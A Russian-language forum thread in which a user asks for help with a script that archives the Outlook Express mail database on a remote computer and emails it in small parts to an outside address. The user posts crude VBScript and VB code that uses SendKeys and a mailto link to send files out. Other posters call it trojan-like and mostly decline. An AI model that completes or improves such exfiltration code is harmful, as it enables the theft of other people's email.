Отправка файлов через Outlook Express

[VBnovichok]

Привет народ, помогите плиз реализовать следующие задачи:
- архивирование базы Outlook *.dbx на удаленном компе, архивами не более 400000 КБ (сервер врага больше не пропускает)
- отправка частей архива на заданный email
На удаленном компе WIN 2000,Outlook Express, WinRaR, права пользователя

У меня в наличии только VBScript

Set fso = CreateObject("Scripting.FileSystemObject")
Set sh = CreateObject("WScript.Shell")
sh.Run(""lamer.txt"") 'нужный файл
WScript.Sleep 1000
sh.SendKeys("{F10}{Right}{Down 10}{Enter}")
sh.SendKeys("{F10}{Right}{Down 3}{Enter}")
sh.SendKeys("{F10}{Down 7}{Enter}")
sh.Run("""C:\Program Files\Outlook Express\msimn.exe""")
WScript.Sleep 1000
sh.SendKeys("{F10}{Down}{Right}{Enter}")
sh.SendKeys("st@relib.com")
sh.SendKeys("{Tab 3}")
sh.SendKeys("{F10}{Right}{Down 4}{Enter}")
WScript.Sleep 500
sh.SendKeys("^{Home}+{Down}{F10}{Right}{Down}{Enter}")
sh.SendKeys("+{Tab}{F10}{Right}{Down 4}{Enter}")
sh.SendKeys("{F10}{Down 2}{Enter 2}")
Set sh = Nothing
Set fso = Nothing

Спасибо

[RayShade]

Я, честно, в шоке. В небольшом.

Это какая д.б. база в Outlook что ее надо разбивать на АРХИВЫ объемом по 400 метров (!) и потом пересылать их по ПОЧТЕ.

Это что за такая хитрая разновидность трояна может из этого получиться? И потом, предлагаемый скрипт вообще содержит какой то бред, который работать то если и будет то только в тепличных условиях на определенной машине (на той, на которой его отлаживали, судя по всему).

Но это все так, мысли вслух так сказать.



Если высказываться по теме, то пожалуй, этого сделать не получится - потому что настройки безопасности системы не позволят обращаться к нужным ActiveX без вмешательства пользователя.

[_NeoN_]

хо хо хо, не буду говорить что это бредятина, но все же
не скажу только потому что ты хочешь вирус делать(ибо нахрена тебе слать по поче 400мб и во вторых ты сам сказал что он ВРАГ)

[VBnovichok]

Уважаемые ученые мужи, ну?..... шапками забросали, а помочь шо - никак,

С байтами лоханулся - описсался.
НЕ 40 МБ, А 400 КБ

А если с такам кодом?


Option Explicit

Private Declare Function ShellExecute Lib "shell32.dll" Alias "ShellExecuteA" _
(ByVal hWnd As Long, ByVal lpOperation As String, _
ByVal lpFile As String, ByVal lpParameters As String, _
ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long
Private Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long
Private Const SW_SHOWNORMAL = 1
Form_Load()

Dim zip_file As String, Ret As Long
zip_file = App.Path & "\test.zip"
ShellExecute Me.hWnd, "Open", _
"mailto:rusproject@mail.ru?subject=" & zip_file & "&body=Zip File Attached", _
vbNullString, vbNullString, vbNormalFocus
While Ret = 0
DoEvents
Ret = FindWindow(vbNullString, zip_file)
Wend

SendKeys "%&&" & zip_file & "{TAB}{TAB}{ENTER}"
End Sub

Ну по существу поможите? или опять умничать будем....

[RayShade]

Ты сам вопрос то по сущетву задать можешь? То у тебя VBS только в наличии... То уже прогу на VB предлагаешь написать. Определись, короче.

Насчетотсылки письма - делается это вообще то через MAPI, CDO либо через Outlook Automation. Как именно - ищи по форуму. Это обсуждалось уже тысячу раз.